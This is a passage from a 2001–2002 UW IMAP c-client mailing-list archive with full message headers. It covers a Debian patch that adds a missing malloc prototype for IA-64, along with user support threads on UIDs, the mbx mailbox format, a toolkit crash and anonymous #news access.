Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 27 10:38:57 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Dec 2001 10:38:53 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBRIcpV6014677 for ; Thu, 27 Dec 2001 10:38:52 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Dec 27 10:38:42 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRIcfpr004300; Thu, 27 Dec 2001 10:38:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRIcP524546; Thu, 27 Dec 2001 10:38:25 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRIbfn54094 for ; Thu, 27 Dec 2001 10:37:41 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Dec 27 10:37:40 2001 -0800 Received: from mail.braincells.com (samadhi.braincells.com [216.162.42.100]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRIbem1028091 for ; Thu, 27 Dec 2001 10:37:40 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.braincells.com (Postfix) with ESMTP id 396C7822C for ; Thu, 27 Dec 2001 13:37:33 -0500 (EST) Message-Id: Date: Thu, 27 Dec 2001 13:37:33 -0500 (EST) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: c-client@u.washington.edu Subject: Bug#126622: uw-imap: Probable IA-64 segfault in mlock (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: jaldhar@samadhi.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, I received the following report in the Debian bug tracking system today and thought it might interest you. It's a trivial fix. -- Jaldhar H. Vyas It's a girl! See the pictures - http://www.braincells.com/shailaja/ ---------- Forwarded message ---------- Date: Thu, 27 Dec 2001 11:00:21 -0500 From: John R.Daily I don't have a simple way to verify this, but the lack of a malloc prototype in mlock.c will probably result in segfaults on the IA-64 platform. On the IA-64 platform, unprototyped functions that return pointers may cause corrupted pointers and hence segfaults, because the C compiler assumes that an undeclared function returns an integer, and on the IA-64, pointers are twice as long as integers and use the high-order bits that would be truncated. Here is a patch for mlock.c. All that is required is inclusion of the stdlib.h header. --- uw-imap.orig/build-tree/imap-2001a/src/mlock/mlock.c Thu Dec 27 10:56:54 2001 +++ uw-imap-2001adebian/build-tree/imap-2001a/src/mlock/mlock.c Thu Dec 27 10:55:52 2001 @@ -43,6 +43,7 @@ #include #include #include +#include /* malloc(3) */ #define LOCKTIMEOUT 5 /* lock timeout in minutes */ #define LOCKPROTECTION 0775 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 27 12:47:50 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Dec 2001 12:47:50 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBRKlmV6026944 for ; Thu, 27 Dec 2001 12:47:49 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Dec 27 12:47:43 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRKlgpr007292; Thu, 27 Dec 2001 12:47:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRKlTb20790; Thu, 27 Dec 2001 12:47:29 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRKkan114514 for ; Thu, 27 Dec 2001 12:46:36 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Dec 27 12:46:35 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRKkZm1019890 for ; Thu, 27 Dec 2001 12:46:35 -0800 Message-Id: Date: Thu, 27 Dec 2001 12:46:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: swalker Cc: c-client@u.washington.edu Subject: re: Why message number 1 and 2 have the same UID? In-Reply-To: <000001c18f04$d0d33bb0$6f03a8c0@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 27 Dec 2001 12:32:18 -0600, swalker wrote: > When I call mail_uid(), message number 1 and 2 always return the same > UID. Is there a bug or something? Or am I'm doing something wrong? It shouldn't. What driver/mailbox format? From pinedev@shivax2.cac.washington.edu Thu Dec 27 12:58:14 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Dec 2001 12:58:13 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBRKwBV6019295 for ; Thu, 27 Dec 2001 12:58:12 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Dec 27 12:58:06 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRKw5pr007517; Thu, 27 Dec 2001 12:58:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRKvv229978; Thu, 27 Dec 2001 12:57:57 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRKvMn02970 for ; Thu, 27 Dec 2001 12:57:22 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Dec 27 12:57:21 2001 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRKvLm1021554 for ; Thu, 27 Dec 2001 12:57:21 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook)by ts2.bynari.netwith esmtp(Exim 3.20 #1 (Debian))id 16JhOy-0005sV-00; Thu, 27 Dec 2001 14:45:20 -0600 Message-Id: <000001c18f19$15bf7db0$6f03a8c0@bynari.net> Date: Thu, 27 Dec 2001 14:57:24 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "swalker" To: "'Mark Crispin'" Cc: Subject: RE: Why message number 1 and 2 have the same UID? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Sent: Thursday, December 27, 2001 2:46 PM > > On Thu, 27 Dec 2001 12:32:18 -0600, swalker wrote: > > When I call mail_uid(), message number 1 and 2 always return the same > > UID. Is there a bug or something? Or am I'm doing something wrong? > > It shouldn't. What driver/mailbox format? I'm using IMAP4. From pinedev@shivax2.cac.washington.edu Thu Dec 27 13:45:27 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Dec 2001 13:45:27 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBRLjPV6001484 for ; Thu, 27 Dec 2001 13:45:26 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Dec 27 13:45:20 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRLjJpr008486; Thu, 27 Dec 2001 13:45:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRLjA568696; Thu, 27 Dec 2001 13:45:11 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBRLiMn161932 for ; Thu, 27 Dec 2001 13:44:22 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Dec 27 13:44:21 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBRLiLVK030978 for ; Thu, 27 Dec 2001 13:44:21 -0800 Message-Id: Date: Thu, 27 Dec 2001 13:43:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: swalker Cc: c-client@u.washington.edu Subject: RE: Why message number 1 and 2 have the same UID? In-Reply-To: <000001c18f19$15bf7db0$6f03a8c0@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 27 Dec 2001 14:57:24 -0600, swalker wrote: > > > When I call mail_uid(), message number 1 and 2 always return the > > > same UID. > > It shouldn't. What driver/mailbox format? > I'm using IMAP4. What server (as in what implementation)? What are you getting mail from mail_uid()? From pinedev@shivax2.cac.washington.edu Fri Dec 28 06:07:15 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Dec 2001 06:07:15 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBSE7DV6030139 for ; Fri, 28 Dec 2001 06:07:14 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Dec 28 06:06:59 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBSE6x11030593; Fri, 28 Dec 2001 06:06:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBSE6b420838; Fri, 28 Dec 2001 06:06:37 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBSE5An159852 for ; Fri, 28 Dec 2001 06:05:10 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Dec 28 06:05:10 2001 -0800 Received: from mail.abh-koeln.dnsalias.net (pC19F0B6C.dip.t-dialin.net [193.159.11.108]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBSE58VK031820 for ; Fri, 28 Dec 2001 06:05:09 -0800 Message-Id: <3C2C7B6B.5050009@abh.de> Date: Fri, 28 Dec 2001 15:02:19 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Fischer To: c-client@u.washington.edu Subject: little problems, maybe to sutpid ;) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, i'm new to imap and I'm cross-reading the book mailmanagment with Imap. I'm playing around now for two or three weeks with the uw-imap. After miger testing it and thinking it runs good i migrated my mail-account from pop to imap (I'm using the pop3d from the imap-2001 package). So i converted all my unix-mailbox-files to mbx. So far so good. But when i create a new 'Sub-Folder' in my client (it's mozilla 0.9.4, 0.9.7 compiles at this time) the new file is in unix-mailbox format. How can i change this? Another Problem i have is with shared folders. public folders works fine and i can subscribe to the subfolders. i created a new directory shared and changed the group-ownership, placed the user in the group for having access to shared. modes for group is 7. But if i want to subscribe there , i can't see it in the folder list. where i'm going wrong? regards and happy new year Tom -- Tom Fischer ABH Marketingservice GmbH System Administrator Weisshaustraße 23a Tel: 0221-94400446 50939 Köln http://www.abh.de -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Dec 28 10:25:32 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Dec 2001 10:25:31 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBSIPUV6008007 for ; Fri, 28 Dec 2001 10:25:30 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Dec 28 10:25:20 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBSIPJpr031153; Fri, 28 Dec 2001 10:25:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBSIP5540944; Fri, 28 Dec 2001 10:25:05 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBSINvn140790 for ; Fri, 28 Dec 2001 10:23:57 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Dec 28 10:23:56 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBSINu3F004821 for ; Fri, 28 Dec 2001 10:23:56 -0800 Message-Id: Date: Fri, 28 Dec 2001 10:21:17 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tom Fischer Cc: c-client@u.washington.edu Subject: re: little problems, maybe to sutpid ;) In-Reply-To: <3C2C7B6B.5050009@abh.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 28 Dec 2001 15:02:19 +0100, Tom Fischer wrote: > converted all my unix-mailbox-files to mbx. So far so good. But when i > create a new 'Sub-Folder' in my client (it's mozilla 0.9.4, 0.9.7 > compiles at this time) the new file is in unix-mailbox format. How can i > change this? in imap-????/src/osdep/unix/Makefile, change: CREATEPROTO=unixproto to CREATEPROTO=mbxproto and rebuild. > Another Problem i have is with shared folders. public folders works fine > and i can subscribe to the subfolders. i created a new directory shared > and changed the group-ownership, placed the user in the group for having > access to shared. modes for group is 7. But if i want to subscribe there > , i can't see it in the folder list. where i'm going wrong? I think that you'll have to ask a Mozilla expert; this sounds like a client issue. From pinedev@shivax2.cac.washington.edu Wed Jan 2 14:55:36 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jan 2002 14:55:31 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g02MtUV6012078 for ; Wed, 2 Jan 2002 14:55:31 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Jan 02 14:55:25 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g02MtOpr027485; Wed, 2 Jan 2002 14:55:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g02MtE224768; Wed, 2 Jan 2002 14:55:14 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g02Miun98212 for ; Wed, 2 Jan 2002 14:44:56 -0800 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Jan 02 14:44:55 2002 -0800 Received: from jazz.tjernlund.net (jazz.tjernlund.net [194.236.216.224]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g02MirTA008665 for ; Wed, 2 Jan 2002 14:44:54 -0800 Received: from jazz.tjernlund.net (jazz.tjernlund.net [194.236.216.224]) by jazz.tjernlund.net (8.8.7/8.8.7) with ESMTP id XAA07427 for ; Wed, 2 Jan 2002 23:45:06 +0100 Message-Id: Date: Wed, 2 Jan 2002 23:45:06 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Tjernlund To: c-client@u.washington.edu Subject: IMAP toolkit crash: file size inconsistent. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to setup a new OpenBSD 3.0 box with sendmail 8.12.1 (from the default installation) and the latest beta of imapd. I probably have screwed up some file or directory permissions, because I get a lot of things like these in the /var/log/maillog: Jan 2 23:00:20 jazz imapd[10927]: Fatal error user=erik host=194.236.216.227 mbx=/var/mail/erik: file size inconsistent Jan 2 23:00:20 jazz imapd[10927]: IMAP toolkit crash: file size inconsistent Anyone recognize this and could point me in the right direction? Regards, Erik Tjernlund Stockholm, Sweden -- mailto:erik@tjernlund.net | http://erik.tjernlund.net "I was so much older then. I'm younger than that now" -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 2 15:04:43 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jan 2002 15:04:42 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g02N4fV6011711 for ; Wed, 2 Jan 2002 15:04:41 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Jan 02 15:04:35 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g02N4Z11031259; Wed, 2 Jan 2002 15:04:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g02N4H519244; Wed, 2 Jan 2002 15:04:18 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g02N2an169784 for ; Wed, 2 Jan 2002 15:02:36 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 02 15:02:35 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g02N2Z3F026211 for ; Wed, 2 Jan 2002 15:02:35 -0800 Message-Id: Date: Wed, 2 Jan 2002 15:00:18 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Erik Tjernlund Cc: c-client@u.washington.edu Subject: re: IMAP toolkit crash: file size inconsistent. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Jan 2002 23:45:06 +0100 (CET), Erik Tjernlund wrote: > I'm trying to setup a new OpenBSD 3.0 box with sendmail 8.12.1 (from the > default installation) and the latest beta of imapd. Are you absolutely sure that it's the latest version, directly from ftp://ftp.cac.washington.edu/mail/ > Jan 2 23:00:20 jazz imapd[10927]: Fatal error user=erik > host=194.236.216.227 mbx=/var/mail/erik: file size inconsistent > Jan 2 23:00:20 jazz imapd[10927]: IMAP toolkit crash: file size > inconsistent This is a bugtrap for a software problem that was supposed to have been fixed. If you can reproduce this reliably with a particular mailbox, please forward that mailbox file to me as a MIME attachment so I can analyze it and determine how it happened. From pinedev@shivax2.cac.washington.edu Thu Jan 3 05:10:23 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jan 2002 05:10:17 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g03DAGV6014903 for ; Thu, 3 Jan 2002 05:10:17 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Jan 03 05:10:03 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g03DA311014620; Thu, 3 Jan 2002 05:10:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g03D9o418796; Thu, 3 Jan 2002 05:09:50 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g03D5Dn118438 for ; Thu, 3 Jan 2002 05:05:13 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Jan 03 05:05:09 2002 -0800 Received: from mta2.snet.net (mta2.snet.net [204.60.203.71]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g03D59TA016770 for ; Thu, 3 Jan 2002 05:05:09 -0800 Received: from pop.snet.net (pop.snet.net [204.60.203.72]) by mta2.snet.net (8.12.1/8.12.1/SNET-smtp-1.1/D-1.1/O-1.1) with ESMTP id g03D4C6o012115 for ; Thu, 3 Jan 2002 08:04:13 -0500 (EST) Received: from cmhplap (56.95.252.64.snet.net [64.252.95.56]) by pop.snet.net (8.12.1/8.12.1/SNET-pop-1.2/D-1.2/O-1.3) with ESMTP id g03D46ik024950 for ; Thu, 3 Jan 2002 08:04:07 -0500 (EST) Message-Id: <200201030801.59985.molnar@kde.org> Date: Thu, 3 Jan 2002 08:01:59 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Christopher Molnar To: c-client@u.washington.edu Subject: Question on anonymous (#news, #ftp, etc) Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have recently setup a news server on my machien and would like to use i= map=20 to access the #news for anonymous logins. I believe anonymous logins are=20 corerectly enabled (I have tested and you can as well - server is=20 uslinuxtraining.com ). Anyways, for some reason no matter what I do I can= not=20 get the #news to show up as a valid folder. I run SuSE Linux, imap version: thebox:/var/log # imapd * OK [CAPABILITY IMAP4 IMAP4REV1 STARTTLS LOGIN-REFERRALS AUTH=3DLOGIN=20 AUTH=3DANONYMOUS] thebox.pandmservices.com IMAP4rev1 2000.287 at Thu, 3 J= an=20 2002 08:29:22 -0500 (EST) I have the /etc/anonymous.newsgroups file in place. Can anyone tell me what may be wrong? Thanks, Chris -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 3 09:57:59 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jan 2002 09:57:58 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g03HvsV6016482 for ; Thu, 3 Jan 2002 09:57:54 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Jan 03 09:57:46 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g03Hvkpr017881; Thu, 3 Jan 2002 09:57:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g03HvZ405948; Thu, 3 Jan 2002 09:57:36 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g03HuPn84622 for ; Thu, 3 Jan 2002 09:56:25 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Jan 03 09:56:24 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g03HuOm1020460 for ; Thu, 3 Jan 2002 09:56:24 -0800 Message-Id: Date: Thu, 3 Jan 2002 09:55:10 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Christopher Molnar Cc: c-client@u.washington.edu Subject: re: Question on anonymous (#news, #ftp, etc) In-Reply-To: <200201030801.59985.molnar@kde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 3 Jan 2002 08:01:59 -0500, Christopher Molnar wrote: > I have recently setup a news server on my machien and would like to use imap > to access the #news for anonymous logins. I believe anonymous logins are > corerectly enabled (I have tested and you can as well - server is > uslinuxtraining.com ). Anyways, for some reason no matter what I do I can > not get the #news to show up as a valid folder. Your server is working fine for me: % telnet uslinuxtraining.com imap Trying 64.252.95.56... Connected to uslinuxtraining.com. Escape character is '^]'. * OK [CAPABILITY IMAP4 IMAP4REV1 STARTTLS LOGIN-REFERRALS AUTH=LOGIN AUTH=ANONYMOUS] thebox.pandmservices.com IMAP4rev1 2000.287 at Thu, 3 Jan 2002 13:20:29 -0500 (EST) . login anonymous foo * CAPABILITY IMAP4 IMAP4REV1 STARTTLS NAMESPACE IDLE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT . OK LOGIN completed . list "" #news.* * LIST () "." #news.control * LIST () "." #news.control.cancel * LIST () "." #news.junk * LIST () "." #news.kde.kde-cvs * LIST () "." #news.kde.kde-devel * LIST () "." #news.kde.kde-kmail * LIST () "." #news.kde.koffice * LIST () "." #news.kde.kde-cvs.kdenonbeta * LIST () "." #news.kde.kde-cvs.kdelibs * LIST () "." 